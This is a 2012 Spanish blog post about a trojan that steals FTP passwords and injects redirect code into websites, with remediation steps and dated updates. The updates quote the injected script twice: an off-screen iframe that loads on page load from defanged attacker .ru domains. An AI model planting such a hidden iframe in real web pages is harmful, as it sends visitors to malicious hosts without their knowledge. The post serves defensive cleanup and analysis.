El troyano <!-- xxxxx --> es un sniffer que roba las contraseñas de las conexiones FTP, como Filezilla
Durante las últimas semanas una gran cantidad de propietarios de sitios web se han enfrentado a problemas con un malware que inserta código en ciertos archivos, es decir, los usuarios que visitan el sitio web serán automáticamente redirigidos a otro sitio web.
NOTA IMPORTANTE: Con la finalidad de que el antivirus Avast! no bloquee esta página he sustituido los números y letras del malware por xxxxx, el código se puede ver en las imágenes, como la de la derecha:
Un número significativo de sitios web infectados están reorientando a los visitantes a una página llamada stats.php que también se encuentra alojada en sitios web comprometidos. El script no está vinculado a un CMS o Software de foros en particular. Los informes muestran infecciones de WordPress, Joomla (última versión), ZenPhoto Gallery, phpBB3, XT COMMERCE 3.0.4 Shop, WebsiteBaker, Prestashop ... El código malicioso se puede encontrar en varios lugares: .htaccess, .php, .html y se representa de forma diferente dependiendo del método que se utiliza.
El #xxxxx# (también el que yo he encontrado en un sitio en HTML puede se así: <!-- xxxxx --> ) es una red de este tipo de malware que inserta código malicioso en ciertos archivos en un sitio web que redirigirá a los usuarios a otra página web, que por lo general tiene en la URL "stats.php". Lo peor de este malware es que actualiza la dirección URL de redireccionamiento cada pocas horas, al parecer de forma automática. Aquí abajo dejo una captura de pantalla de cómo aparece el código completo que yo estoy investigando:
No dejo el texto porque sino Sucuri da la página como infectada - detalles en Sucuri - (si alguien tiene interés se lo puedo enviar por email):
Ejemplos del código se puede encontrar aquí (la página puede que la bloquee vuestro antivirus), y tienden a infectar al índex, header y .htaccess . Con el fin de solucionar este problema, primero hay que limpiar todos los archivos de la infección mediante la supresión del código erróneo. Una vez terminado, puedes escanear tu página web con el Sucuri Website Scanner, que te dirá si estás limpio. Es recomendable hacer clic en volver a escanear (Re-scan) después de la primera prueba para asegurarte de que no estás consiguiendo los resultados almacenados en caché.
Una vez que hayas verificado que tu sitio está limpio, haz lo siguiente:
1. Ingresar al cPanel de tu hosting, y restablecer las contraseñas de FTP para cada sitio web que esté afectado.
2. Escanea tus ordenadores en busca de malware y virus, particularmente los que se utilizan para acceder al FTP de tu sitio web. Spybot no parece encontrar el problema, y Microsoft Security Essentials encuentra problemas después de un análisis completo, pero no con un análisis rápido, y aparece a través de la protección en tiempo real. Ni Malwarebytes ni Avast! encuentran el problema scaneando directamente los archivos infectados. Avast!, como Security Essentials, si lo hace en tiempo real si accedes a una página infectada.
3. Adicionalmente limpia los archivos temporales de tu ordenador (normalmente en Windows situados en la carpeta AppData) y los archivos temporales de los navegadores que utilices.
4. Sólo para estar seguro, no accedas a tu sitio durante 24 horas. Si Sucuri sostiene que tu sitio está limpio después de este tiempo, el problema más probable es que esté relaccionado con las contraseñas de FTP que eran robadas por el malware en tu sistema. El malware parece cambiar/agregar el código cada 8 horas o menos. La razón de este problema se debe a que probablemente estabas accediendo a tus cuentas de FTP utilizando "FTP Simple", y muchos clientes FTP, incluyendo el muy popular Filezilla, almacenan las contraseñas en texto plano. Debes asegurarte de utilizar el protocolo SFTP en el futuro, porque las contraseñas se almacenan de forma más segura. Para ello deberás conocer el número de puerto SSH que utiliza tu servidor (te lo deberían facilitar en tu Hosting).
5. Si tienes un servidor dedicado en Linux, ve a la carpeta de tu sitio web y hacer una búsqueda:
find . "“type f | xargs grep "xxxxx"
Se mostrarán todos los archivos que contengan el código "xxxxx"
Si esto no funciona puedes tomar estas otras medidas:
1. Temporalmente se puede detener la infección mediante la inserción de una línea de comentario en la parte superior a <head> del archivo similar a
/* wp_head(); wp_head(); */
Esto engaña al malware e insertará el código en una línea de comentario y no debería tener efecto en el sitio web. La llamada será diferente para los diferentes sistemas de gestión de contenidos, basta con ver inmediatamente debajo, donde el código erróneo sigue apareciendo, y ponerlo en la línea de comentario en lugar de wp_head ().
2. Comunícate con tu proveedor de hosting, ya que esto puede ser un problema en su extremo (Plesk tiene un parche para solucionarlo) y en el siguiente enlace se puede descargar la última versión de Plesk. Ver también: Grave vulnerabilidad en Plesk está siendo aprovechada por atacantes y Hackers venden un exploit que extrae la contraseña para controlar el panel de Parallels Plesk
3. Cambia tu contraseña de cPanel.
4. Cambia la contraseña de tu cuenta de administrador del sitio web.
5. Comprueba tu base de datos de usuario de SQL para los usuarios con permisos de administrador, y elimina a los usuarios adicionales.
6. Crear un nuevo usuario en tu base de datos SQL y eliminar el usuario anterior. (Advertencia: asegúrate de actualizar estos datos en el archivo de configuración de tu CMS).
7. Actualiza tu archivo de protección .htaccess, Hackrepair.com ofrece una buena lista de los más conocidos contra los robots malos.
Una solución más drástica (para sitios que no se actualizan con frecuencia) sería poner estas líneas de ejemplo en el .htaccess:
<Files *> Order allow,deny Deny from all </Files> <Files *\.pdf> Order allow,deny Allow from all </Files> <Files *\.xls> Order allow,deny Allow from all </Files>
Así sólo pueden escribir en ficheros .pdf o .xls
Este tipo de malware, conocido como malicioso, se ha vuelto más común en los últimos años, y este en particular aqueja a muchos propietarios de sitios. Trata de mantenerte vigilante y haznos saber si te ha ayudado algo esta información.
En un posterior artículo veremos cómo utilizar Filezilla en modo seguro SFTP del lado del cliente y del servidor.
Actualización 25 de julio 2012
La página web infectada con el <!--xxxxx--> a la que estoy haciendo un análisis me sigue dando resultados negativos en la limpieza. Es una web pequeña, hecha en HTML con DreamWeaver. El troyano ha cambiado hoy el código del script por este otro:
<body><!-- xxxx --><script>
function frmAdd() {
var ifrm = document.createElement('iframe');
ifrm.style.position='absolute';
ifrm.style.top='-999em';
ifrm.style.left='-999em';
ifrm.src = "http://kycufvy[punto]ru/count26.php";
ifrm.id = 'frmId';
document.body.appendChild(ifrm);
};
window.onload = frmAdd;
</script><!--/xxxxx -->
Lo dejo por si a alguien le puede dar una pista. Yo seguiré investigando y poniendo aquí las novedades. Pero el bicho es muy, muy peligroso...
Actualización 26 de julio 2012
El troyano sigue entrando por algún sitio. Ni revisando los logs encuentro el origen. Hoy ha vuelto a cambiar la redirección a otra URL este el el código:
<body><!-- xxxxx --><script>
function frmAdd() {
var ifrm = document.createElement('iframe');
ifrm.style.position='absolute';
ifrm.style.top='-999em';
ifrm.style.left='-999em';
ifrm.src = "http://fetucxo[punto]ru/count27.php";
ifrm.id = 'frmId';
document.body.appendChild(ifrm);
};
window.onload = frmAdd;
</script><!--/xxxxx-->
La buena noticia es que Avast! Antivirus en su última actualización de la base de datos de virus ya ha incluido al xxxxx en sus bases de datos.
La mala es que ahora no puedo visualizar por FTP los archivos infectados porque Avast me los bloquea. Una solución en línea es utilizar HTML Sniffer para ver el código fuente de la página.
Actualización 30 de julio de 2012 - 1 de agosto de 2012
En las últimas 24 horas no se ha producido ningún nuevo ataque del troyano # xxxxx # en la páginas que estoy testeando. Para bloquear las IPs sospechosas deberéis poner en vuestro archivo .htaccess las siguientes líneas:
order allow,deny deny from 182.185.121.190 deny from 39.47.56.100 deny from 41.237.40.174 deny from 117.204.216.210 deny from 180.188.237.198 deny from 61.94.63.112 deny from 41.140.58.190 deny from 31.210.43.98 deny from 50.18.107.83 allow from all
Tras cuatro días sin el gusano <!-- xxxxx --> en la página que estoy testeando doy por solucionada la infección del site atacado. También he de decir que el mi cliente ha borrado del panel de su Hosting al antiguo usuario y contraseña de acceso FTP.